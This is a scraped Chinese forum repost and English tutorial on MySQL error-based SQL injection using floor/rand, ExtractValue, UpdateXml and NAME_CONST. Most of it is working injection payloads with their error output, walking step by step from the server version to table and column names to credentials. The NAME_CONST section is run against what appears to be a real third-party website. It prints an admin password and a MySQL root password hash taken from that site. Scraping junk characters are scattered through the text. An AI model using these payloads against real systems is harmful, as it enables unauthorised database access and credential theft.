mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
! r/ y  r' d, P+ h* a# r/ ]9 W' t首先进行正常查询：

mysql> select * from article where id = 1;
. ]0 q. e5 B& {' o6 p+—-+——-+———+
% v7 n" M+ _  c" s8 O' \2 A| id | title | content |
& S+ W2 X0 R- Y' N) \) ~% d5 C+—-+——-+———+
% t: E- I! ~2 I; V7 H0 e|  1 | test  | do it   |
7 s1 i0 ~9 I2 I9 U* Q0 R; l- O" o+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
+ H5 ~& ]/ v3 w% H( r$ @$ o例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
; ?7 \  `/ h6 u! dERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
/ ~" |% K9 W6 J1 Y$ vERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
0 U2 n1 y* [! L; o  O* u1 [4 d) J测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

: Y) d4 o8 Y2 U2 y) K

再收集：

http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

Erroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’

! T+ m% y$ {9 l* j# Phttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
3 A! n5 x: o, {* L& t+ X
Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′

MYSQL高版本报错注入技巧-利用NAME_CONST注入
It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.

% ?$ v1 r) l$ V/ `& k5 J
" J1 X( d1 ^' D( A$ w相关信息

NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.
$ A* S/ ^: V3 ]/ A% ?
Code:
3 Z9 L7 h" Z( l( TNAME_CONST(DATA, VALUE)

Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.
' e% o  b0 A+ y! [# j" F7 r
& f6 w2 E" z5 w1 Z9 j0 l, ?9 GSELECT NAME_CONST('TEST', 1)
5 G/ t' O1 D( S, H+ u. ?( O6 q


|---------------|
|     TEST      |
|               |
|---------------|
" l4 s7 x& I, G+ e|       1       |
  n) a$ b* j! z|               |
|---------------|
4 ?5 g( E& G& @1 d7 T

  p, z" z+ K3 Z7 x+ g

5 a% z2 W+ P  {  G, U$ Ghttp://dev.mysql.com/doc/refman/5.0/en/m...name-const
Intro to MySQL Variables
) Q0 ?. H4 R6 m
Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.
! ?' \1 Z$ u: p  |4 U4 h
7 ^5 z/ S: F. y; p! mCode:
1 g1 O  I) M) U$ n6 {/ l4 w2 L; ehttp://www.baido.hk/qcwh/content ... ;sid=19&cid=261



/ J% _, s% w# {+ m/ b9 [% z$ }

" Z4 o! {  O5 x# L, W2 H) u8 ]Code:
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--

6 k" H! t( o1 M* O7 y% D
7 b5 }! i: S) u" ?VAR = Your MySQL variable.

MySQL 5.1.3 Server System Variables
; s! E/ Z5 n5 J! I) W  U
& E: D+ D8 P$ WLet's try it out on my site..
) U/ k5 C# U. m
Code:
+ L/ p6 ^/ N9 P, O: B4 l: S# }http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
0 l8 y" S/ ~, H, z) U; L
) ?* G, V6 K0 Z6 d; O1 }Erroruplicate column name '5.0.27-community-nt'
5 c. y* p. L; }' g. c
4 L/ B0 F  v5 T" [/ `+ X



9 ]: I4 f2 s0 g) M" N9 pNow I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...
) h" g, d# f2 K0 R# s& M
Data Extraction
# J) w; x" G, A
/ T' l! D2 b$ D! BCode:
( E. y( C8 f5 a: x/ z9 C+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--
# Q* b% P0 ?6 t6 _$ a

! N7 m! P, M' [, ^9 n0 L( ?6 \We should get a duplicate column 1 error...
3 y9 f4 i& B# I. T
& ]! q5 L7 C/ D7 d- v8 s- W2 vCode:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--

Erroruplicate column name '1
+ {0 j  |9 t/ S: x
) n+ e5 F, v3 b# S6 S6 r


# x  q( O# J% m3 w9 E

Now let's get the tables out this bitch..

& d2 M! q$ v/ c  R  R. T/ WCode:
' }5 k8 J. q0 O7 k* N# \: C3 D+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--


Let's see if it works here, if it does, we can go on and finish the job.
+ |1 s/ z: T2 S2 H# M, T
Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
9 r) ~6 O# C2 R8 ~; p7 y7 P

Erroruplicate column name 'com_admanage

% e. @! I- `3 G# |

7 t3 w  X! J) f9 h0 }

4 p9 U( o/ e  e0 L1 F
Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.
4 f* |! c+ r0 ^& C
Let's get the columns out of the user table..

3 i$ U. H+ ?7 @0 i( G0 ^5 O' RCode:
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--


So mine looks like this, and I get the duplicate column name 'Host'.
  q2 r2 G$ g5 }! i, v# |2 o4 d
Code:
0 _2 E  E; Z9 Jhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--
9 U; C" T3 L* T& b7 A
Erroruplicate column name 'Host'
5 B8 H" w: ~# C" i" v
3 ~0 F$ I/ T5 A2 f/ @
3 [% `/ @6 a! F
# j% q7 i  y* M" _! [
' a  q! E/ _3 p4 J

$ b- `6 Z7 ?! f; X8 k  NWoot, time to finish this bitch off.
! ^1 v/ P. C! n: }! Y, s
2 f% r- K: o8 X* XCode:
1 l2 v4 Q9 P) p4 ]+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--

4 W- `/ t8 L' s7 @1 z. \3 O4 v1 E) k
So mine looks like this...

. T! y! A5 h; H1 G! R" ~' w9 FCode:
0 d+ i( f8 e7 ~2 t. c. Khttp://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--
, x( P* M4 O$ p
Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'
9 }" e/ z* H% I) {' h



2 `' {5 `5 z2 j0 C' s2 j
1 I& Y7 t# s  K# H" i0 I  i- [
And there we have it, thanks for reading.